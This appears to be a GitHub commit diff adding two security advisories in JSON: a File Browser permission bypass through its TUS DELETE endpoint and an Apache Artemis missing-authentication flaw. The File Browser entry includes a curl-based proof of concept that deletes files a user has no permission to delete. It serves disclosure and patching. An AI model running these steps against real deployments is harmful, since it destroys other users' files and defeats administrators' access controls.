Skip to content

Commit 216dc72

Browse files
1 parent 57ad8d5 commit 216dc72

File tree

2 files changed

+119
-6
lines changed

2 files changed

+119
-6
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-79pf-vx4x-7jmm",
4+
"modified": "2026-03-04T22:38:01Z",
5+
"published": "2026-03-04T22:38:01Z",
6+
"aliases": [
7+
"CVE-2026-29188"
8+
],
9+
"summary": "File Browser's TUS Delete Endpoint Bypasses Delete Permission Check",
10+
"details": "### Summary\n\nA broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.\n\n### Details\n\nThe tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:\n\n```go\n// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)\nfunc tusDeleteHandler(cache UploadCache) handleFunc {\n return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n if r.URL.Path == \"/\" || !d.user.Perm.Create { // ← Wrong permission checked\n return http.StatusForbidden, nil\n }\n // ...\n err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted\n```\n\nThe correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:\n\n```go\n// http/resource.go - resourceDeleteHandler (CORRECT)\nfunc resourceDeleteHandler(fileCache FileCache) handleFunc {\n return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n if r.URL.Path == \"/\" || !d.user.Perm.Delete { // ← Correct permission\n return http.StatusForbidden, nil\n }\n```\n\nThis inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.\n\n### Proposed fix:\n\n```go\n// http/tus_handlers.go\n- if r.URL.Path == \"/\" || !d.user.Perm.Create {\n+ if r.URL.Path == \"/\" || !d.user.Perm.Delete {\n```\n\n### PoC\n\n- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) \n- Tested on: Kali Linux, go version go1.23+\n\n### Setup section\n\n```bash\n# Build and initialize\ngit clone https://github.com/filebrowser/filebrowser\ncd filebrowser\ngo build -o filebrowser .\n./filebrowser config init\n\n# Create a test user with Create=true but Delete=false\n./filebrowser users add testuser SuperSecurePassword1234 \\\n --perm.create=true \\\n --perm.delete=false\n\n# Start server\n./filebrowser &\n```\n\n### POC script steps\n\n1. Confirm the Delete permission is correctly enforced on the standard endpoint:\n\n```bash\nTOKEN=$(curl -s -X POST localhost:8080/api/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"testuser\",\"password\":\"SuperSecurePassword1234\"}')\n\n# Attempt deletion via the standard resource endpoint → should be blocked\ncurl -s -X DELETE \"localhost:8080/api/resources/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 403\n```\n\n2. Bypass via the TUS Delete endpoint:\n\n```bash\n# Initiate a TUS upload to register the file in the upload cache\ncurl -s -X POST \"localhost:8080/api/tus/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Length: 18\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 201\n\n# Now delete via the TUS endpoint - Perm.Delete is NOT checked\ncurl -s -X DELETE \"localhost:8080/api/tus/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=false\n```\n\n**Observed results:**\n```\nDELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced )\nDELETE /api/tus/target.txt --> 204 No Content ( permission bypassed )\n```\n\n### Impact\nThis is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:\n\n- Multiple users share a single instance, and\n- An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations\n\nAn attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/filebrowser/filebrowser/v2"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.61.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.61.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-79pf-vx4x-7jmm"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/filebrowser/filebrowser/commit/7ed1425115be602c2b23236c410098ea2d74b42f"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/filebrowser/filebrowser"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-284",
58+
"CWE-732"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-04T22:38:01Z",
63+
"nvd_published_at": null
64+
}
65+
}

advisories/unreviewed/2026/03/GHSA-fw88-pf9m-p947/GHSA-fw88-pf9m-p947.json renamed to advisories/github-reviewed/2026/03/GHSA-fw88-pf9m-p947/GHSA-fw88-pf9m-p947.json

Lines changed: 54 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,36 +1,84 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-fw88-pf9m-p947",
4-
"modified": "2026-03-04T09:31:07Z",
4+
"modified": "2026-03-04T22:37:18Z",
55
"published": "2026-03-04T09:31:07Z",
66
"aliases": [
77
"CVE-2026-27446"
88
],
9-
"details": "Missing Authentication for Critical Function (CWE-306) vulnerability in Apache Artemis, Apache ActiveMQ Artemis. An unauthenticated remote attacker can use the Core protocol to force a target broker to establish an outbound Core federation connection to an attacker-controlled rogue broker. This could potentially result in message injection into any queue and/or message exfiltration from any queue via the rogue broker. This impacts environments that allow both:\n\n- incoming Core protocol connections from untrusted sources to the broker\n\n- outgoing Core protocol connections from the broker to untrusted targets\n\nThis issue affects:\n\n- Apache Artemis from 2.50.0 through 2.51.0\n\n- Apache ActiveMQ Artemis from 2.11.0 through 2.44.0.\n\nUsers are recommended to upgrade to Apache Artemis version 2.52.0, which fixes the issue.\n\nThe issue can be mitigated by either of the following:\n\n- Remove Core protocol support from any acceptor receiving connections from untrusted sources. Incoming Core protocol connections are supported by default via the \"artemis\" acceptor listening on port 61616. See the \"protocols\" URL parameter configured for the acceptor. An acceptor URL without this parameter supports all protocols by default, including Core.\n\n- Use two-way SSL (i.e. certificate-based authentication) in order to force every client to present the proper SSL certificate when establishing a connection before any message protocol handshake is attempted. This will prevent unauthenticated exploitation of this vulnerability.",
9+
"summary": "Apache Artemis and Apache ActiveMQ Artemis are Missing Authentication for Critical Functions",
10+
"details": "Missing Authentication for Critical Function (CWE-306) vulnerability in Apache Artemis, Apache ActiveMQ Artemis. An unauthenticated remote attacker can use the Core protocol to force a target broker to establish an outbound Core federation connection to an attacker-controlled rogue broker. This could potentially result in message injection into any queue and/or message exfiltration from any queue via the rogue broker. This impacts environments that allow both:\n\n- Incoming Core protocol connections from untrusted sources to the broker\n\n- Outgoing Core protocol connections from the broker to untrusted targets\n\nThis issue affects:\n\n- Apache Artemis from 2.50.0 through 2.51.0\n\n- Apache ActiveMQ Artemis from 2.11.0 through 2.44.0.\n\nUsers are recommended to upgrade to Apache Artemis version 2.52.0, which fixes the issue.\n\nThe issue can be mitigated by either of the following:\n\n- Remove Core protocol support from any acceptor receiving connections from untrusted sources. Incoming Core protocol connections are supported by default via the \"artemis\" acceptor listening on port 61616. See the \"protocols\" URL parameter configured for the acceptor. An acceptor URL without this parameter supports all protocols by default, including Core.\n\n- Use two-way SSL (i.e. certificate-based authentication) in order to force every client to present the proper SSL certificate when establishing a connection before any message protocol handshake is attempted. This will prevent unauthenticated exploitation of this vulnerability.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V4",
13-
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.activemq:artemis-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2.11.0"
29+
},
30+
{
31+
"last_affected": "2.44.0"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Maven",
40+
"name": "org.apache.artemis:artemis-server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "2.50.0"
48+
},
49+
{
50+
"fixed": "2.52.0"
51+
}
52+
]
53+
}
54+
]
1455
}
1556
],
16-
"affected": [],
1757
"references": [
1858
{
1959
"type": "ADVISORY",
2060
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27446"
2161
},
62+
{
63+
"type": "PACKAGE",
64+
"url": "https://github.com/apache/artemis"
65+
},
2266
{
2367
"type": "WEB",
2468
"url": "https://lists.apache.org/thread/jwpsdc8tdxotm98od8n8n30fqlzoc8gg"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "http://www.openwall.com/lists/oss-security/2026/03/04/1"
2573
}
2674
],
2775
"database_specific": {
2876
"cwe_ids": [
2977
"CWE-306"
3078
],
3179
"severity": "CRITICAL",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2026-03-04T22:37:18Z",
3482
"nvd_published_at": "2026-03-04T09:15:56Z"
3583
}
3684
}

0 commit comments

Comments
 (0)